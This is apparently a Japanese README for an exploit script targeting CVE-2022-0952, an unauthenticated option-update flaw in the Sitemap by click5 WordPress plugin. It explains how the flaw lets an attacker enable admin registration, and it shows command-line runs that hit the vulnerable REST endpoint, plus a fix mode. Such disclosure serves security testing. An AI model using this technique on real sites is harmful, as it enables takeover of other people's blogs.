CVE-2022-0952

Sitemap by click5 < 1.0.36 - 認証なしの任意オプション更新

説明

このプラグインは、RESTエンドポイントを介してオプションを更新する際に認可とCSRFチェックを行わず、更新対象のオプションがプラグインに属していることも確認しません。その結果、認証されていない攻撃者が、users_can_register や default_role などの任意のブログオプションを変更し、新しい管理者アカウントを作成してブログを乗っ取ることが可能になります。

例: 管理者と登録を有効にする

$ python3 CVE-2022-0952.py -u http://192.168.1.131:5555
The plugin version is below 1.0.36.
The plugin version is 1.0.35
Vulnerability check: http://192.168.1.131:5555
Option set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.

例: 管理者と登録を無効にする

$ python3 CVE-2022-0952.py -u http://192.168.1.131:5555 --fix yes
Vulnerability check: http://192.168.1.131:5555
Option set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX
Fixed: You can not longer register
Option set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX
Fixed: You can not longer register

CVE-2022-0952

人気

CVE-2022-0952

説明

例: 管理者と登録を有効にする

例: 管理者と登録を無効にする